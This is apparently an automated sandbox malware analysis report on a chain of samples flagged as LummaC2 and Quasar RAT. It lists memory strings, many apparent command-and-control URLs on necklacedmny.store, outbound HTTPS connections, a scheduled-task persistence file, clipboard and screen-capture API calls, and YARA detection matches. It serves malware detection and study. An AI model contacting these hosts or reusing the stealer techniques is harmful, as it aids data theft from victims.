Source: uhshdsh.exe, 00000006.00000002.2296065132.0000000005F40000.00000004.08000000.00040000.00000000.sdmp, uhshdsh.exe, 00000006.00000002.2283771462.00000000047C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: uhshdsh.exe, 00000006.00000002.2296065132.0000000005F40000.00000004.08000000.00040000.00000000.sdmp, uhshdsh.exe, 00000006.00000002.2283771462.00000000047C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: 69de3a997f.exe, 00000010.00000003.2888381566.0000000000D4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: InstallUtil.exe, 00000007.00000002.4532503032.0000000002B6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ipwho.is
Source: uhshdsh.exe, 00000006.00000002.2298160966.00000000068C1000.00000004.00000800.00020000.00000000.sdmp, uhshdsh.exe, 00000006.00000002.2283771462.00000000047C1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.4520183738.0000000000502000.00000040.00000400.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.4532503032.0000000002B6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ipwho.is/
Source: 69de3a997f.exe, 0000000D.00000003.2871995390.0000000000CD9000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2812858974.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3039560172.0000000000D40000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2817944704.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2867267001.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2868626348.0000000000D1D000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3189550027.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3040533949.0000000000D40000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2870607991.0000000000D1D000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2813063979.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3121037778.0000000000D42000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000002.3200693291.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3121461561.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3119817223.0000000000D40000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2868715784.0000000000D30000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2868626348.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/
Source: 69de3a997f.exe, 00000010.00000003.2928048863.0000000000D20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/#
Source: 69de3a997f.exe, 00000010.00000003.3025178197.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3025469444.0000000000D42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/)
Source: 69de3a997f.exe, 00000010.00000003.3025178197.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3025469444.0000000000D42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/1
Source: 69de3a997f.exe, 00000009.00000003.2800161963.0000000001090000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000009.00000003.2800500760.0000000001090000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/18
Source: 69de3a997f.exe, 0000000D.00000003.2650751149.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/2=
Source: 69de3a997f.exe, 00000010.00000003.3025178197.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3025469444.0000000000D42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/9
Source: 69de3a997f.exe, 0000000D.00000003.2714087706.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2713426425.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2713983526.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/D
Source: 69de3a997f.exe, 00000009.00000002.3004531013.0000000001023000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000009.00000003.2987100458.0000000001023000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/PR
Source: 69de3a997f.exe, 0000000D.00000003.2650751149.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/RqW
Source: 69de3a997f.exe, 00000010.00000003.2885512486.0000000000D20000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2868715784.0000000000D30000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2868626348.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api
Source: 69de3a997f.exe, 00000009.00000003.2698271858.0000000005879000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api1
Source: 69de3a997f.exe, 00000009.00000003.2986388312.0000000001095000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000009.00000002.3006352587.0000000001095000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api36
Source: 69de3a997f.exe, 0000000D.00000002.2946952228.0000000000C25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api9?y
Source: 69de3a997f.exe, 00000010.00000003.2887493322.0000000000D20000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2885377922.0000000000D20000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2884396777.0000000000D1D000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2885512486.0000000000D20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiAv
Source: 69de3a997f.exe, 00000009.00000002.3004143991.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiLm
Source: 69de3a997f.exe, 00000009.00000003.2698271858.0000000005879000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apit
Source: 69de3a997f.exe, 00000010.00000003.2936285084.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apite
Source: 69de3a997f.exe, 00000010.00000003.2928048863.0000000000D20000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2928465642.0000000000D20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apitei
Source: 69de3a997f.exe, 00000009.00000003.2779770084.0000000001090000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/gnin_profile_locked
Source: 69de3a997f.exe, 00000010.00000002.3200693291.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3189550027.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/i
Source: 69de3a997f.exe, 00000010.00000003.3039560172.0000000000D40000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3040533949.0000000000D40000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3121037778.0000000000D42000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3119817223.0000000000D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/j
Source: 69de3a997f.exe, 0000000D.00000002.2948470946.0000000000CD9000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2867267001.0000000000D1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/l
Source: 69de3a997f.exe, 00000009.00000002.3006352587.0000000001090000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000009.00000003.2986388312.0000000001088000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/q8g
Source: 69de3a997f.exe, 00000010.00000003.2936334365.0000000000D31000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2936285084.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2928465642.0000000000D20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/ssL
Source: 69de3a997f.exe, 0000000D.00000003.2863882525.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2857752536.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2873139281.0000000000CD9000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2871995390.0000000000CD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/t
Source: 69de3a997f.exe, 0000000D.00000002.2946952228.0000000000C25000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000002.3200693291.0000000000CA5000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3189550027.0000000000CA5000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3121461561.0000000000CA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/api
Source: 69de3a997f.exe, 0000000D.00000002.2946952228.0000000000C25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/apiK
Source: 69de3a997f.exe, 00000010.00000003.3121461561.0000000000CA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/apiicrosoft
Source: uhshdsh.exe, 00000006.00000002.2283771462.00000000047C1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.4520183738.0000000000502000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: uhshdsh.exe, 00000006.00000002.2298160966.00000000068C1000.00000004.00000800.00020000.00000000.sdmp, uhshdsh.exe, 00000006.00000002.2296065132.0000000005F40000.00000004.08000000.00040000.00000000.sdmp, uhshdsh.exe, 00000006.00000002.2283771462.00000000047C1000.00000004.00000800.00020000.00000000.sdmp, uhshdsh.exe, 00000006.00000002.2278148881.000000000328C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.4520183738.0000000000502000.00000040.00000400.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.4532503032.00000000029BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: uhshdsh.exe, 00000006.00000002.2296065132.0000000005F40000.00000004.08000000.00040000.00000000.sdmp, uhshdsh.exe, 00000006.00000002.2283771462.00000000047C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: uhshdsh.exe, 00000006.00000002.2298160966.00000000068C1000.00000004.00000800.00020000.00000000.sdmp, uhshdsh.exe, 00000006.00000002.2283771462.00000000047C1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.4520183738.0000000000502000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354sCannot
Source: 69de3a997f.exe, 00000010.00000003.2887572794.0000000005448000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 69de3a997f.exe, 00000010.00000003.2887572794.0000000005448000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 69de3a997f.exe, 0000000D.00000003.2771689684.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2888381566.0000000000D4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: 69de3a997f.exe, 0000000D.00000003.2771689684.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2888381566.0000000000D4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: 69de3a997f.exe, 00000009.00000003.2464655211.00000000058A6000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2651911157.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2652089294.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2651820827.000000000548B000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2818448378.000000000521A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 69de3a997f.exe, 00000009.00000003.2464655211.00000000058A6000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2651911157.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2652089294.0000000005488000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2651820827.000000000548B000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2818448378.000000000521A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 69de3a997f.exe, 00000010.00000003.2887572794.0000000005448000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: 69de3a997f.exe, 00000010.00000003.2887572794.0000000005448000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: 69de3a997f.exe, 00000009.00000003.2612902142.0000000005997000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2716425167.0000000005577000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2887572794.0000000005448000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 69de3a997f.exe, 00000010.00000003.2887572794.0000000005448000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 69de3a997f.exe, 00000009.00000003.2612902142.0000000005997000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2716425167.0000000005577000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2887572794.0000000005448000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: 69de3a997f.exe, 00000009.00000003.2612902142.0000000005997000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2716425167.0000000005577000.00000004.00000800.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.2887572794.0000000005448000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946

Source: unknown	HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 147.135.36.89:443 -> 192.168.2.5:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49934 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49946 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49965 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49975 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50030 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50039 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50046 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50073 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe

Code function: 4_2_00455210 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

4_2_00455210

Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe

Code function: 4_2_00455210 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

4_2_00455210

Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe

Code function: 4_2_004559B7 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

4_2_004559B7

E-Banking Fraud

Yara detected Quasar RAT

Source: Yara match	File source: 6.2.uhshdsh.exe.4a4ede0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.uhshdsh.exe.4a4ede0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.InstallUtil.exe.500000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.4520183738.0000000000820000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4532503032.0000000002BCA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2298160966.00000000068C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2278148881.00000000035B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4532503032.0000000002941000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4520183738.0000000000502000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2283771462.00000000047C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: uhshdsh.exe PID: 6448, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 5064, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 6.2.uhshdsh.exe.4a4ede0.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects QuasarRAT malware Author: Florian Roth
Source: 6.2.uhshdsh.exe.4a4ede0.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 6.2.uhshdsh.exe.4a4ede0.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Quasar infostealer Author: ditekshen
Source: 6.2.uhshdsh.exe.4a4ede0.6.unpack, type: UNPACKEDPE	Matched rule: Detects QuasarRAT malware Author: Florian Roth
Source: 6.2.uhshdsh.exe.4a4ede0.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 6.2.uhshdsh.exe.4a4ede0.6.unpack, type: UNPACKEDPE	Matched rule: Detects Quasar infostealer Author: ditekshen
Source: 7.2.InstallUtil.exe.500000.0.unpack, type: UNPACKEDPE	Matched rule: Detects QuasarRAT malware Author: Florian Roth
Source: 7.2.InstallUtil.exe.500000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 7.2.InstallUtil.exe.500000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Quasar infostealer Author: ditekshen

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: .idata
Source: axplong.exe.0.dr	Static PE information: section name:
Source: random[1].exe.2.dr	Static PE information: section name:
Source: random[1].exe.2.dr	Static PE information: section name: .rsrc
Source: random[1].exe.2.dr	Static PE information: section name: .idata
Source: random[1].exe.2.dr	Static PE information: section name:
Source: 98a31794c6.exe.2.dr	Static PE information: section name:
Source: 98a31794c6.exe.2.dr	Static PE information: section name: .rsrc
Source: 98a31794c6.exe.2.dr	Static PE information: section name: .idata
Source: 98a31794c6.exe.2.dr	Static PE information: section name:
Source: random[1].exe0.2.dr	Static PE information: section name:
Source: random[1].exe0.2.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.2.dr	Static PE information: section name: .idata
Source: 69de3a997f.exe.2.dr	Static PE information: section name:
Source: 69de3a997f.exe.2.dr	Static PE information: section name: .rsrc
Source: 69de3a997f.exe.2.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 6_2_05275450 NtProtectVirtualMemory,	6_2_05275450
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 6_2_05276CD8 NtResumeThread,	6_2_05276CD8
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 6_2_05275449 NtProtectVirtualMemory,	6_2_05275449
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 6_2_05276CD0 NtResumeThread,	6_2_05276CD0

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\axplong.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 2_2_004DE440	2_2_004DE440
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 2_2_00513068	2_2_00513068
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 2_2_004D4CF0	2_2_004D4CF0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 2_2_00507D83	2_2_00507D83
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 2_2_0051765B	2_2_0051765B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 2_2_004D4AF0	2_2_004D4AF0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 2_2_0051777B	2_2_0051777B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 2_2_00516F09	2_2_00516F09
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 2_2_00518720	2_2_00518720
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 2_2_00512BD0	2_2_00512BD0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_004586FE	4_2_004586FE
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00462850	4_2_00462850
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00421000	4_2_00421000
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4_2_00446800	4_2_00446800
